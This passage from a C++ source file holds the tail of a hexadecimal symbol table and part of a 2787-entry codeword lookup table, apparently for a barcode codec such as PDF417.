0x1c658, 0x1c66e, 0x1c672, 0x1c674, 0x1c686, 0x1c68c, 0x1c698, 0x1c6b0, 0x1c6be, 0x1c6ce, 0x1c6dc, 0x1c6e2,
0x1c6e4, 0x1c6e8, 0x1c712, 0x1c714, 0x1c722, 0x1c728, 0x1c736, 0x1c742, 0x1c744, 0x1c748, 0x1c750, 0x1c75e,
0x1c766, 0x1c76c, 0x1c77a, 0x1c7ae, 0x1c7d6, 0x1c7ea, 0x1c81a, 0x1c82e, 0x1c832, 0x1c834, 0x1c84e, 0x1c85c,
0x1c862, 0x1c864, 0x1c868, 0x1c876, 0x1c88e, 0x1c89c, 0x1c8b8, 0x1c8c2, 0x1c8c8, 0x1c8d0, 0x1c8de, 0x1c8e6,
0x1c8ec, 0x1c8fa, 0x1c90e, 0x1c938, 0x1c970, 0x1c97e, 0x1c982, 0x1c984, 0x1c990, 0x1c99e, 0x1c9a0, 0x1c9bc,
0x1c9c6, 0x1c9cc, 0x1c9d8, 0x1c9ee, 0x1c9f2, 0x1c9f4, 0x1ca38, 0x1ca70, 0x1ca7e, 0x1cae0, 0x1cafc, 0x1cb02,
0x1cb04, 0x1cb08, 0x1cb10, 0x1cb20, 0x1cb3c, 0x1cb40, 0x1cb78, 0x1cb86, 0x1cb8c, 0x1cb98, 0x1cbb0, 0x1cbbe,
0x1cbce, 0x1cbdc, 0x1cbe2, 0x1cbe4, 0x1cbe8, 0x1cbf6, 0x1cc16, 0x1cc26, 0x1cc2c, 0x1cc3a, 0x1cc46, 0x1cc58,
0x1cc72, 0x1cc74, 0x1cc86, 0x1ccb0, 0x1ccbe, 0x1ccce, 0x1cce2, 0x1cce4, 0x1cce8, 0x1cd06, 0x1cd0c, 0x1cd18,
0x1cd30, 0x1cd3e, 0x1cd60, 0x1cd7c, 0x1cd9c, 0x1cdc2, 0x1cdc4, 0x1cdc8, 0x1cdd0, 0x1cdde, 0x1cde6, 0x1cdfa,
0x1ce22, 0x1ce28, 0x1ce42, 0x1ce50, 0x1ce5e, 0x1ce66, 0x1ce7a, 0x1ce82, 0x1ce84, 0x1ce88, 0x1ce90, 0x1ce9e,
0x1cea0, 0x1cebc, 0x1cecc, 0x1cef2, 0x1cef4, 0x1cf2e, 0x1cf32, 0x1cf34, 0x1cf4e, 0x1cf5c, 0x1cf62, 0x1cf64,
0x1cf68, 0x1cf96, 0x1cfa6, 0x1cfac, 0x1cfca, 0x1cfd2, 0x1cfd4, 0x1d02e, 0x1d032, 0x1d034, 0x1d04e, 0x1d05c,
0x1d062, 0x1d064, 0x1d068, 0x1d076, 0x1d08e, 0x1d09c, 0x1d0b8, 0x1d0c2, 0x1d0c4, 0x1d0c8, 0x1d0d0, 0x1d0de,
0x1d0e6, 0x1d0ec, 0x1d0fa, 0x1d11c, 0x1d138, 0x1d170, 0x1d17e, 0x1d182, 0x1d184, 0x1d188, 0x1d190, 0x1d19e,
0x1d1a0, 0x1d1bc, 0x1d1c6, 0x1d1cc, 0x1d1d8, 0x1d1ee, 0x1d1f2, 0x1d1f4, 0x1d21c, 0x1d238, 0x1d270, 0x1d27e,
0x1d2e0, 0x1d2fc, 0x1d302, 0x1d304, 0x1d308, 0x1d310, 0x1d31e, 0x1d320, 0x1d33c, 0x1d340, 0x1d378, 0x1d386,
0x1d38c, 0x1d398, 0x1d3b0, 0x1d3be, 0x1d3ce, 0x1d3dc, 0x1d3e2, 0x1d3e4, 0x1d3e8, 0x1d3f6, 0x1d470, 0x1d47e,
0x1d4e0, 0x1d4fc, 0x1d5c0, 0x1d5f8, 0x1d604, 0x1d608, 0x1d610, 0x1d620, 0x1d640, 0x1d678, 0x1d6f0, 0x1d706,
0x1d70c, 0x1d718, 0x1d730, 0x1d73e, 0x1d760, 0x1d77c, 0x1d78e, 0x1d79c, 0x1d7b8, 0x1d7c2, 0x1d7c4, 0x1d7c8,
0x1d7d0, 0x1d7de, 0x1d7e6, 0x1d7ec, 0x1d826, 0x1d82c, 0x1d83a, 0x1d846, 0x1d84c, 0x1d858, 0x1d872, 0x1d874,
0x1d886, 0x1d88c, 0x1d898, 0x1d8b0, 0x1d8be, 0x1d8ce, 0x1d8e2, 0x1d8e4, 0x1d8e8, 0x1d8f6, 0x1d90c, 0x1d918,
0x1d930, 0x1d93e, 0x1d960, 0x1d97c, 0x1d99c, 0x1d9c2, 0x1d9c4, 0x1d9c8, 0x1d9d0, 0x1d9e6, 0x1d9fa, 0x1da0c,
0x1da18, 0x1da30, 0x1da3e, 0x1da60, 0x1da7c, 0x1dac0, 0x1daf8, 0x1db38, 0x1db82, 0x1db84, 0x1db88, 0x1db90,
0x1db9e, 0x1dba0, 0x1dbcc, 0x1dbf2, 0x1dbf4, 0x1dc22, 0x1dc42, 0x1dc44, 0x1dc48, 0x1dc50, 0x1dc5e, 0x1dc66,
0x1dc7a, 0x1dc82, 0x1dc84, 0x1dc88, 0x1dc90, 0x1dc9e, 0x1dca0, 0x1dcbc, 0x1dccc, 0x1dcf2, 0x1dcf4, 0x1dd04,
0x1dd08, 0x1dd10, 0x1dd1e, 0x1dd20, 0x1dd3c, 0x1dd40, 0x1dd78, 0x1dd86, 0x1dd98, 0x1ddce, 0x1dde2, 0x1dde4,
0x1dde8, 0x1de2e, 0x1de32, 0x1de34, 0x1de4e, 0x1de5c, 0x1de62, 0x1de64, 0x1de68, 0x1de8e, 0x1de9c, 0x1deb8,
0x1dec2, 0x1dec4, 0x1dec8, 0x1ded0, 0x1dee6, 0x1defa, 0x1df16, 0x1df26, 0x1df2c, 0x1df46, 0x1df4c, 0x1df58,
0x1df72, 0x1df74, 0x1df8a, 0x1df92, 0x1df94, 0x1dfa2, 0x1dfa4, 0x1dfa8, 0x1e08a, 0x1e092, 0x1e094, 0x1e0a2,
0x1e0a4, 0x1e0a8, 0x1e0b6, 0x1e0da, 0x1e10a, 0x1e112, 0x1e114, 0x1e122, 0x1e124, 0x1e128, 0x1e136, 0x1e142,
0x1e144, 0x1e148, 0x1e150, 0x1e166, 0x1e16c, 0x1e17a, 0x1e19a, 0x1e1b2, 0x1e1b4, 0x1e20a, 0x1e212, 0x1e214,
0x1e222, 0x1e224, 0x1e228, 0x1e236, 0x1e242, 0x1e248, 0x1e250, 0x1e25e, 0x1e266, 0x1e26c, 0x1e27a, 0x1e282,
0x1e284, 0x1e288, 0x1e290, 0x1e2a0, 0x1e2bc, 0x1e2c6, 0x1e2cc, 0x1e2d8, 0x1e2ee, 0x1e2f2, 0x1e2f4, 0x1e31a,
0x1e332, 0x1e334, 0x1e35c, 0x1e362, 0x1e364, 0x1e368, 0x1e3ba, 0x1e40a, 0x1e412, 0x1e414, 0x1e422, 0x1e428,
0x1e436, 0x1e442, 0x1e448, 0x1e450, 0x1e45e, 0x1e466, 0x1e46c, 0x1e47a, 0x1e482, 0x1e484, 0x1e490, 0x1e49e,
0x1e4a0, 0x1e4bc, 0x1e4c6, 0x1e4cc, 0x1e4d8, 0x1e4ee, 0x1e4f2, 0x1e4f4, 0x1e502, 0x1e504, 0x1e508, 0x1e510,
0x1e51e, 0x1e520, 0x1e53c, 0x1e540, 0x1e578, 0x1e586, 0x1e58c, 0x1e598, 0x1e5b0, 0x1e5be, 0x1e5ce, 0x1e5dc,
0x1e5e2, 0x1e5e4, 0x1e5e8, 0x1e5f6, 0x1e61a, 0x1e62e, 0x1e632, 0x1e634, 0x1e64e, 0x1e65c, 0x1e662, 0x1e668,
0x1e68e, 0x1e69c, 0x1e6b8, 0x1e6c2, 0x1e6c4, 0x1e6c8, 0x1e6d0, 0x1e6e6, 0x1e6fa, 0x1e716, 0x1e726, 0x1e72c,
0x1e73a, 0x1e746, 0x1e74c, 0x1e758, 0x1e772, 0x1e774, 0x1e792, 0x1e794, 0x1e7a2, 0x1e7a4, 0x1e7a8, 0x1e7b6,
0x1e812, 0x1e814, 0x1e822, 0x1e824, 0x1e828, 0x1e836, 0x1e842, 0x1e844, 0x1e848, 0x1e850, 0x1e85e, 0x1e866,
0x1e86c, 0x1e87a, 0x1e882, 0x1e884, 0x1e888, 0x1e890, 0x1e89e, 0x1e8a0, 0x1e8bc, 0x1e8c6, 0x1e8cc, 0x1e8d8,
0x1e8ee, 0x1e8f2, 0x1e8f4, 0x1e902, 0x1e904, 0x1e908, 0x1e910, 0x1e920, 0x1e93c, 0x1e940, 0x1e978, 0x1e986,
0x1e98c, 0x1e998, 0x1e9b0, 0x1e9be, 0x1e9ce, 0x1e9dc, 0x1e9e2, 0x1e9e4, 0x1e9e8, 0x1e9f6, 0x1ea04, 0x1ea08,
0x1ea10, 0x1ea20, 0x1ea40, 0x1ea78, 0x1eaf0, 0x1eb06, 0x1eb0c, 0x1eb18, 0x1eb30, 0x1eb3e, 0x1eb60, 0x1eb7c,
0x1eb8e, 0x1eb9c, 0x1ebb8, 0x1ebc2, 0x1ebc4, 0x1ebc8, 0x1ebd0, 0x1ebde, 0x1ebe6, 0x1ebec, 0x1ec1a, 0x1ec2e,
0x1ec32, 0x1ec34, 0x1ec4e, 0x1ec5c, 0x1ec62, 0x1ec64, 0x1ec68, 0x1ec8e, 0x1ec9c, 0x1ecb8, 0x1ecc2, 0x1ecc4,
0x1ecc8, 0x1ecd0, 0x1ece6, 0x1ecfa, 0x1ed0e, 0x1ed1c, 0x1ed38, 0x1ed70, 0x1ed7e, 0x1ed82, 0x1ed84, 0x1ed88,
0x1ed90, 0x1ed9e, 0x1eda0, 0x1edcc, 0x1edf2, 0x1edf4, 0x1ee16, 0x1ee26, 0x1ee2c, 0x1ee3a, 0x1ee46, 0x1ee4c,
0x1ee58, 0x1ee6e, 0x1ee72, 0x1ee74, 0x1ee86, 0x1ee8c, 0x1ee98, 0x1eeb0, 0x1eebe, 0x1eece, 0x1eedc, 0x1eee2,
0x1eee4, 0x1eee8, 0x1ef12, 0x1ef22, 0x1ef24, 0x1ef28, 0x1ef36, 0x1ef42, 0x1ef44, 0x1ef48, 0x1ef50, 0x1ef5e,
0x1ef66, 0x1ef6c, 0x1ef7a, 0x1efae, 0x1efb2, 0x1efb4, 0x1efd6, 0x1f096, 0x1f0a6, 0x1f0ac, 0x1f0ba, 0x1f0ca,
0x1f0d2, 0x1f0d4, 0x1f116, 0x1f126, 0x1f12c, 0x1f13a, 0x1f146, 0x1f14c, 0x1f158, 0x1f16e, 0x1f172, 0x1f174,
0x1f18a, 0x1f192, 0x1f194, 0x1f1a2, 0x1f1a4, 0x1f1a8, 0x1f1da, 0x1f216, 0x1f226, 0x1f22c, 0x1f23a, 0x1f246,
0x1f258, 0x1f26e, 0x1f272, 0x1f274, 0x1f286, 0x1f28c, 0x1f298, 0x1f2b0, 0x1f2be, 0x1f2ce, 0x1f2dc, 0x1f2e2,
0x1f2e4, 0x1f2e8, 0x1f2f6, 0x1f30a, 0x1f312, 0x1f314, 0x1f322, 0x1f328, 0x1f342, 0x1f344, 0x1f348, 0x1f350,
0x1f35e, 0x1f366, 0x1f37a, 0x1f39a, 0x1f3ae, 0x1f3b2, 0x1f3b4, 0x1f416, 0x1f426, 0x1f42c, 0x1f43a, 0x1f446,
0x1f44c, 0x1f458, 0x1f46e, 0x1f472, 0x1f474, 0x1f486, 0x1f48c, 0x1f498, 0x1f4b0, 0x1f4be, 0x1f4ce, 0x1f4dc,
0x1f4e2, 0x1f4e4, 0x1f4e8, 0x1f4f6, 0x1f506, 0x1f50c, 0x1f518, 0x1f530, 0x1f53e, 0x1f560, 0x1f57c, 0x1f58e,
0x1f59c, 0x1f5b8, 0x1f5c2, 0x1f5c4, 0x1f5c8, 0x1f5d0, 0x1f5de, 0x1f5e6, 0x1f5ec, 0x1f5fa, 0x1f60a, 0x1f612,
0x1f614, 0x1f622, 0x1f624, 0x1f628, 0x1f636, 0x1f642, 0x1f644, 0x1f648, 0x1f650, 0x1f65e, 0x1f666, 0x1f67a,
0x1f682, 0x1f684, 0x1f688, 0x1f690, 0x1f69e, 0x1f6a0, 0x1f6bc, 0x1f6cc, 0x1f6f2, 0x1f6f4, 0x1f71a, 0x1f72e,
0x1f732, 0x1f734, 0x1f74e, 0x1f75c, 0x1f762, 0x1f764, 0x1f768, 0x1f776, 0x1f796, 0x1f7a6, 0x1f7ac, 0x1f7ba,
0x1f7d2, 0x1f7d4, 0x1f89a, 0x1f8ae, 0x1f8b2, 0x1f8b4, 0x1f8d6, 0x1f8ea, 0x1f91a, 0x1f92e, 0x1f932, 0x1f934,
0x1f94e, 0x1f95c, 0x1f962, 0x1f964, 0x1f968, 0x1f976, 0x1f996, 0x1f9a6, 0x1f9ac, 0x1f9ba, 0x1f9ca, 0x1f9d2,
0x1f9d4, 0x1fa1a, 0x1fa2e, 0x1fa32, 0x1fa34, 0x1fa4e, 0x1fa5c, 0x1fa62, 0x1fa64, 0x1fa68, 0x1fa76, 0x1fa8e,
0x1fa9c, 0x1fab8, 0x1fac2, 0x1fac4, 0x1fac8, 0x1fad0, 0x1fade, 0x1fae6, 0x1faec, 0x1fb16, 0x1fb26, 0x1fb2c,
0x1fb3a, 0x1fb46, 0x1fb4c, 0x1fb58, 0x1fb6e, 0x1fb72, 0x1fb74, 0x1fb8a, 0x1fb92, 0x1fb94, 0x1fba2, 0x1fba4,
0x1fba8, 0x1fbb6, 0x1fbda
};
/**
* This table contains to codewords for all symbols.
*/
static const std::array<uint16_t, 2787> CODEWORD_TABLE = {
2627, 1819, 2622, 2621, 1813, 1812, 2729, 2724, 2723, 2779, 2774, 2773, 902, 896, 908, 868, 865, 861, 859, 2511,
873, 871, 1780, 835, 2493, 825, 2491, 842, 837, 844, 1764, 1762, 811, 810, 809, 2483, 807, 2482, 806, 2480, 815,
814, 813, 812, 2484, 817, 816, 1745, 1744, 1742, 1746, 2655, 2637, 2635, 2626, 2625, 2623, 2628, 1820, 2752,
2739, 2737, 2728, 2727, 2725, 2730, 2785, 2783, 2778, 2777, 2775, 2780, 787, 781, 747, 739, 736, 2413, 754, 752,
1719, 692, 689, 681, 2371, 678, 2369, 700, 697, 694, 703, 1688, 1686, 642, 638, 2343, 631, 2341, 627, 2338, 651,
646, 643, 2345, 654, 652, 1652, 1650, 1647, 1654, 601, 599, 2322, 596, 2321, 594, 2319, 2317, 611, 610, 608, 606,
2324, 603, 2323, 615, 614, 612, 1617, 1616, 1614, 1612, 616, 1619, 1618, 2575, 2538, 2536, 905, 901, 898, 909,
2509, 2507, 2504, 870, 867, 864, 860, 2512, 875, 872, 1781, 2490, 2489, 2487, 2485, 1748, 836, 834, 832, 830,
2494, 827, 2492, 843, 841, 839, 845, 1765, 1763, 2701, 2676, 2674, 2653, 2648, 2656, 2634, 2633, 2631, 2629,
1821, 2638, 2636, 2770, 2763, 2761, 2750, 2745, 2753, 2736, 2735, 2733, 2731, 1848, 2740, 2738, 2786, 2784, 591,
588, 576, 569, 566, 2296, 1590, 537, 534, 526, 2276, 522, 2274, 545, 542, 539, 548, 1572, 1570, 481, 2245, 466,
2242, 462, 2239, 492, 485, 482, 2249, 496, 494, 1534, 1531, 1528, 1538, 413, 2196, 406, 2191, 2188, 425, 419,
2202, 415, 2199, 432, 430, 427, 1472, 1467, 1464, 433, 1476, 1474, 368, 367, 2160, 365, 2159, 362, 2157, 2155,
2152, 378, 377, 375, 2166, 372, 2165, 369, 2162, 383, 381, 379, 2168, 1419, 1418, 1416, 1414, 385, 1411, 384,
1423, 1422, 1420, 1424, 2461, 802, 2441, 2439, 790, 786, 783, 794, 2409, 2406, 2403, 750, 742, 738, 2414, 756,
753, 1720, 2367, 2365, 2362, 2359, 1663, 693, 691, 684, 2373, 680, 2370, 702, 699, 696, 704, 1690, 1687, 2337,
2336, 2334, 2332, 1624, 2329, 1622, 640, 637, 2344, 634, 2342, 630, 2340, 650, 648, 645, 2346, 655, 653, 1653,
1651, 1649, 1655, 2612, 2597, 2595, 2571, 2568, 2565, 2576, 2534, 2529, 2526, 1787, 2540, 2537, 907, 904, 900,
910, 2503, 2502, 2500, 2498, 1768, 2495, 1767, 2510, 2508, 2506, 869, 866, 863, 2513, 876, 874, 1782, 2720, 2713,
2711, 2697, 2694, 2691, 2702, 2672, 2670, 2664, 1828, 2678, 2675, 2647, 2646, 2644, 2642, 1823, 2639, 1822, 2654,
2652, 2650, 2657, 2771, 1855, 2765, 2762, 1850, 1849, 2751, 2749, 2747, 2754, 353, 2148, 344, 342, 336, 2142,
332, 2140, 345, 1375, 1373, 306, 2130, 299, 2128, 295, 2125, 319, 314, 311, 2132, 1354, 1352, 1349, 1356, 262,
257, 2101, 253, 2096, 2093, 274, 273, 267, 2107, 263, 2104, 280, 278, 275, 1316, 1311, 1308, 1320, 1318, 2052,
202, 2050, 2044, 2040, 219, 2063, 212, 2060, 208, 2055, 224, 221, 2066, 1260, 1258, 1252, 231, 1248, 229, 1266,
1264, 1261, 1268, 155, 1998, 153, 1996, 1994, 1991, 1988, 165, 164, 2007, 162, 2006, 159, 2003, 2000, 172, 171,
169, 2012, 166, 2010, 1186, 1184, 1182, 1179, 175, 1176, 173, 1192, 1191, 1189, 1187, 176, 1194, 1193, 2313,
2307, 2305, 592, 589, 2294, 2292, 2289, 578, 572, 568, 2297, 580, 1591, 2272, 2267, 2264, 1547, 538, 536, 529,
2278, 525, 2275, 547, 544, 541, 1574, 1571, 2237, 2235, 2229, 1493, 2225, 1489, 478, 2247, 470, 2244, 465, 2241,
493, 488, 484, 2250, 498, 495, 1536, 1533, 1530, 1539, 2187, 2186, 2184, 2182, 1432, 2179, 1430, 2176, 1427, 414,
412, 2197, 409, 2195, 405, 2193, 2190, 426, 424, 421, 2203, 418, 2201, 431, 429, 1473, 1471, 1469, 1466, 434,
1477, 1475, 2478, 2472, 2470, 2459, 2457, 2454, 2462, 803, 2437, 2432, 2429, 1726, 2443, 2440, 792, 789, 785,
2401, 2399, 2393, 1702, 2389, 1699, 2411, 2408, 2405, 745, 741, 2415, 758, 755, 1721, 2358, 2357, 2355, 2353,
1661, 2350, 1660, 2347, 1657, 2368, 2366, 2364, 2361, 1666, 690, 687, 2374, 683, 2372, 701, 698, 705, 1691, 1689,
2619, 2617, 2610, 2608, 2605, 2613, 2593, 2588, 2585, 1803, 2599, 2596, 2563, 2561, 2555, 1797, 2551, 1795, 2573,
2570, 2567, 2577, 2525, 2524, 2522, 2520, 1786, 2517, 1785, 2514, 1783, 2535, 2533, 2531, 2528, 1788, 2541, 2539,
906, 903, 911, 2721, 1844, 2715, 2712, 1838, 1836, 2699, 2696, 2693, 2703, 1827, 1826, 1824, 2673, 2671, 2669,
2666, 1829, 2679, 2677, 1858, 1857, 2772, 1854, 1853, 1851, 1856, 2766, 2764, 143, 1987, 139, 1986, 135, 133,
131, 1984, 128, 1983, 125, 1981, 138, 137, 136, 1985, 1133, 1132, 1130, 112, 110, 1974, 107, 1973, 104, 1971,
1969, 122, 121, 119, 117, 1977, 114, 1976, 124, 1115, 1114, 1112, 1110, 1117, 1116, 84, 83, 1953, 81, 1952, 78,
1950, 1948, 1945, 94, 93, 91, 1959, 88, 1958, 85, 1955, 99, 97, 95, 1961, 1086, 1085, 1083, 1081, 1078, 100,
1090, 1089, 1087, 1091, 49, 47, 1917, 44, 1915, 1913, 1910, 1907, 59, 1926, 56, 1925, 53, 1922, 1919, 66, 64,
1931, 61, 1929, 1042, 1040, 1038, 71, 1035, 70, 1032, 68, 1048, 1047, 1045, 1043, 1050, 1049, 12, 10, 1869, 1867,
1864, 1861, 21, 1880, 19, 1877, 1874, 1871, 28, 1888, 25, 1886, 22, 1883, 982, 980, 977, 974, 32, 30, 991, 989,
987, 984, 34, 995, 994, 992, 2151, 2150, 2147, 2146, 2144, 356, 355, 354, 2149, 2139, 2138, 2136, 2134, 1359,
343, 341, 338, 2143, 335, 2141, 348, 347, 346, 1376, 1374, 2124, 2123, 2121, 2119, 1326, 2116, 1324, 310, 308,
305, 2131, 302, 2129, 298, 2127, 320, 318, 316, 313, 2133, 322, 321, 1355, 1353, 1351, 1357, 2092, 2091, 2089,
2087, 1276, 2084, 1274, 2081, 1271, 259, 2102, 256, 2100, 252, 2098, 2095, 272, 269, 2108, 266, 2106, 281, 279,
277, 1317, 1315, 1313, 1310, 282, 1321, 1319, 2039, 2037, 2035, 2032, 1203, 2029, 1200, 1197, 207, 2053, 205,
2051, 201, 2049, 2046, 2043, 220, 218, 2064, 215, 2062, 211, 2059, 228, 226, 223, 2069, 1259, 1257, 1254, 232,
1251, 230, 1267, 1265, 1263, 2316, 2315, 2312, 2311, 2309, 2314, 2304, 2303, 2301, 2299, 1593, 2308, 2306, 590,
2288, 2287, 2285, 2283, 1578, 2280, 1577, 2295, 2293, 2291, 579, 577, 574, 571, 2298, 582, 581, 1592, 2263, 2262,
2260, 2258, 1545, 2255, 1544, 2252, 1541, 2273, 2271, 2269, 2266, 1550, 535, 532, 2279, 528, 2277, 546, 543, 549,
1575, 1573, 2224, 2222, 2220, 1486, 2217, 1485, 2214, 1482, 1479, 2238, 2236, 2234, 2231, 1496, 2228, 1492, 480,
477, 2248, 473, 2246, 469, 2243, 490, 487, 2251, 497, 1537, 1535, 1532, 2477, 2476, 2474, 2479, 2469, 2468, 2466,
2464, 1730, 2473, 2471, 2453, 2452, 2450, 2448, 1729, 2445, 1728, 2460, 2458, 2456, 2463, 805, 804, 2428, 2427,
2425, 2423, 1725, 2420, 1724, 2417, 1722, 2438, 2436, 2434, 2431, 1727, 2444, 2442, 793, 791, 788, 795, 2388,
2386, 2384, 1697, 2381, 1696, 2378, 1694, 1692, 2402, 2400, 2398, 2395, 1703, 2392, 1701, 2412, 2410, 2407, 751,
748, 744, 2416, 759, 757, 1807, 2620, 2618, 1806, 1805, 2611, 2609, 2607, 2614, 1802, 1801, 1799, 2594, 2592,
2590, 2587, 1804, 2600, 2598, 1794, 1793, 1791, 1789, 2564, 2562, 2560, 2557, 1798, 2554, 1796, 2574, 2572, 2569,
2578, 1847, 1846, 2722, 1843, 1842, 1840, 1845, 2716, 2714, 1835, 1834, 1832, 1830, 1839, 1837, 2700, 2698, 2695,
2704, 1817, 1811, 1810, 897, 862, 1777, 829, 826, 838, 1760, 1758, 808, 2481, 1741, 1740, 1738, 1743, 2624, 1818,
2726, 2776, 782, 740, 737, 1715, 686, 679, 695, 1682, 1680, 639, 628, 2339, 647, 644, 1645, 1643, 1640, 1648,
602, 600, 597, 595, 2320, 593, 2318, 609, 607, 604, 1611, 1610, 1608, 1606, 613, 1615, 1613, 2328, 926, 924, 892,
886, 899, 857, 850, 2505, 1778, 824, 823, 821, 819, 2488, 818, 2486, 833, 831, 828, 840, 1761, 1759, 2649, 2632,
2630, 2746, 2734, 2732, 2782, 2781, 570, 567, 1587, 531, 527, 523, 540, 1566, 1564, 476, 467, 463, 2240, 486,
483, 1524, 1521, 1518, 1529, 411, 403, 2192, 399, 2189, 423, 416, 1462, 1457, 1454, 428, 1468, 1465, 2210, 366,
363, 2158, 360, 2156, 357, 2153, 376, 373, 370, 2163, 1410, 1409, 1407, 1405, 382, 1402, 380, 1417, 1415, 1412,
1421, 2175, 2174, 777, 774, 771, 784, 732, 725, 722, 2404, 743, 1716, 676, 674, 668, 2363, 665, 2360, 685, 1684,
1681, 626, 624, 622, 2335, 620, 2333, 617, 2330, 641, 635, 649, 1646, 1644, 1642, 2566, 928, 925, 2530, 2527,
894, 891, 888, 2501, 2499, 2496, 858, 856, 854, 851, 1779, 2692, 2668, 2665, 2645, 2643, 2640, 2651, 2768, 2759,
2757, 2744, 2743, 2741, 2748, 352, 1382, 340, 337, 333, 1371, 1369, 307, 300, 296, 2126, 315, 312, 1347, 1342,
1350, 261, 258, 250, 2097, 246, 2094, 271, 268, 264, 1306, 1301, 1298, 276, 1312, 1309, 2115, 203, 2048, 195,
2045, 191, 2041, 213, 209, 2056, 1246, 1244, 1238, 225, 1234, 222, 1256, 1253, 1249, 1262, 2080, 2079, 154, 1997,
150, 1995, 147, 1992, 1989, 163, 160, 2004, 156, 2001, 1175, 1174, 1172, 1170, 1167, 170, 1164, 167, 1185, 1183,
1180, 1177, 174, 1190, 1188, 2025, 2024, 2022, 587, 586, 564, 559, 556, 2290, 573, 1588, 520, 518, 512, 2268,
508, 2265, 530, 1568, 1565, 461, 457, 2233, 450, 2230, 446, 2226, 479, 471, 489, 1526, 1523, 1520, 397, 395,
2185, 392, 2183, 389, 2180, 2177, 410, 2194, 402, 422, 1463, 1461, 1459, 1456, 1470, 2455, 799, 2433, 2430, 779,
776, 773, 2397, 2394, 2390, 734, 728, 724, 746, 1717, 2356, 2354, 2351, 2348, 1658, 677, 675, 673, 670, 667, 688,
1685, 1683, 2606, 2589, 2586, 2559, 2556, 2552, 927, 2523, 2521, 2518, 2515, 1784, 2532, 895, 893, 890, 2718,
2709, 2707, 2689, 2687, 2684, 2663, 2662, 2660, 2658, 1825, 2667, 2769, 1852, 2760, 2758, 142, 141, 1139, 1138,
134, 132, 129, 126, 1982, 1129, 1128, 1126, 1131, 113, 111, 108, 105, 1972, 101, 1970, 120, 118, 115, 1109, 1108,
1106, 1104, 123, 1113, 1111, 82, 79, 1951, 75, 1949, 72, 1946, 92, 89, 86, 1956, 1077, 1076, 1074, 1072, 98,
1069, 96, 1084, 1082, 1079, 1088, 1968, 1967, 48, 45, 1916, 42, 1914, 39, 1911, 1908, 60, 57, 54, 1923, 50, 1920,
1031, 1030, 1028, 1026, 67, 1023, 65, 1020, 62, 1041, 1039, 1036, 1033, 69, 1046, 1044, 1944, 1943, 1941, 11, 9,
1868, 7, 1865, 1862, 1859, 20, 1878, 16, 1875, 13, 1872, 970, 968, 966, 963, 29, 960, 26, 23, 983, 981, 978, 975,
33, 971, 31, 990, 988, 985, 1906, 1904, 1902, 993, 351, 2145, 1383, 331, 330, 328, 326, 2137, 323, 2135, 339,
1372, 1370, 294, 293, 291, 289, 2122, 286, 2120, 283, 2117, 309, 303, 317, 1348, 1346, 1344, 245, 244, 242, 2090,
239, 2088, 236, 2085, 2082, 260, 2099, 249, 270, 1307, 1305, 1303, 1300, 1314, 189, 2038, 186, 2036, 183, 2033,
2030, 2026, 206, 198, 2047, 194, 216, 1247, 1245, 1243, 1240, 227, 1237, 1255, 2310, 2302, 2300, 2286, 2284,
2281, 565, 563, 561, 558, 575, 1589, 2261, 2259, 2256, 2253, 1542, 521, 519, 517, 514, 2270, 511, 533, 1569,
1567, 2223, 2221, 2218, 2215, 1483, 2211, 1480, 459, 456, 453, 2232, 449, 474, 491, 1527, 1525, 1522, 2475, 2467,
2465, 2451, 2449, 2446, 801, 800, 2426, 2424, 2421, 2418, 1723, 2435, 780, 778, 775, 2387, 2385, 2382, 2379,
1695, 2375, 1693, 2396, 735, 733, 730, 727, 749, 1718, 2616, 2615, 2604, 2603, 2601, 2584, 2583, 2581, 2579,
1800, 2591, 2550, 2549, 2547, 2545, 1792, 2542, 1790, 2558, 929, 2719, 1841, 2710, 2708, 1833, 1831, 2690, 2688,
2686, 1815, 1809, 1808, 1774, 1756, 1754, 1737, 1736, 1734, 1739, 1816, 1711, 1676, 1674, 633, 629, 1638, 1636,
1633, 1641, 598, 1605, 1604, 1602, 1600, 605, 1609, 1607, 2327, 887, 853, 1775, 822, 820, 1757, 1755, 1584, 524,
1560, 1558, 468, 464, 1514, 1511, 1508, 1519, 408, 404, 400, 1452, 1447, 1444, 417, 1458, 1455, 2208, 364, 361,
358, 2154, 1401, 1400, 1398, 1396, 374, 1393, 371, 1408, 1406, 1403, 1413, 2173, 2172, 772, 726, 723, 1712, 672,
669, 666, 682, 1678, 1675, 625, 623, 621, 618, 2331, 636, 632, 1639, 1637, 1635, 920, 918, 884, 880, 889, 849,
848, 847, 846, 2497, 855, 852, 1776, 2641, 2742, 2787, 1380, 334, 1367, 1365, 301, 297, 1340, 1338, 1335, 1343,
255, 251, 247, 1296, 1291, 1288, 265, 1302, 1299, 2113, 204, 196, 192, 2042, 1232, 1230, 1224, 214, 1220, 210,
1242, 1239, 1235, 1250, 2077, 2075, 151, 148, 1993, 144, 1990, 1163, 1162, 1160, 1158, 1155, 161, 1152, 157,
1173, 1171, 1168, 1165, 168, 1181, 1178, 2021, 2020, 2018, 2023, 585, 560, 557, 1585, 516, 509, 1562, 1559, 458,
447, 2227, 472, 1516, 1513, 1510, 398, 396, 393, 390, 2181, 386, 2178, 407, 1453, 1451, 1449, 1446, 420, 1460,
2209, 769, 764, 720, 712, 2391, 729, 1713, 664, 663, 661, 659, 2352, 656, 2349, 671, 1679, 1677, 2553, 922, 919,
2519, 2516, 885, 883, 881, 2685, 2661, 2659, 2767, 2756, 2755, 140, 1137, 1136, 130, 127, 1125, 1124, 1122, 1127,
109, 106, 102, 1103, 1102, 1100, 1098, 116, 1107, 1105, 1980, 80, 76, 73, 1947, 1068, 1067, 1065, 1063, 90, 1060,
87, 1075, 1073, 1070, 1080, 1966, 1965, 46, 43, 40, 1912, 36, 1909, 1019, 1018, 1016, 1014, 58, 1011, 55, 1008,
51, 1029, 1027, 1024, 1021, 63, 1037, 1034, 1940, 1939, 1937, 1942, 8, 1866, 4, 1863, 1, 1860, 956, 954, 952,
949, 946, 17, 14, 969, 967, 964, 961, 27, 957, 24, 979, 976, 972, 1901, 1900, 1898, 1896, 986, 1905, 1903, 350,
349, 1381, 329, 327, 324, 1368, 1366, 292, 290, 287, 284, 2118, 304, 1341, 1339, 1337, 1345, 243, 240, 237, 2086,
233, 2083, 254, 1297, 1295, 1293, 1290, 1304, 2114, 190, 187, 184, 2034, 180, 2031, 177, 2027, 199, 1233, 1231,
1229, 1226, 217, 1223, 1241, 2078, 2076, 584, 555, 554, 552, 550, 2282, 562, 1586, 507, 506, 504, 502, 2257, 499,
2254, 515, 1563, 1561, 445, 443, 441, 2219, 438, 2216, 435, 2212, 460, 454, 475, 1517, 1515, 1512, 2447, 798,
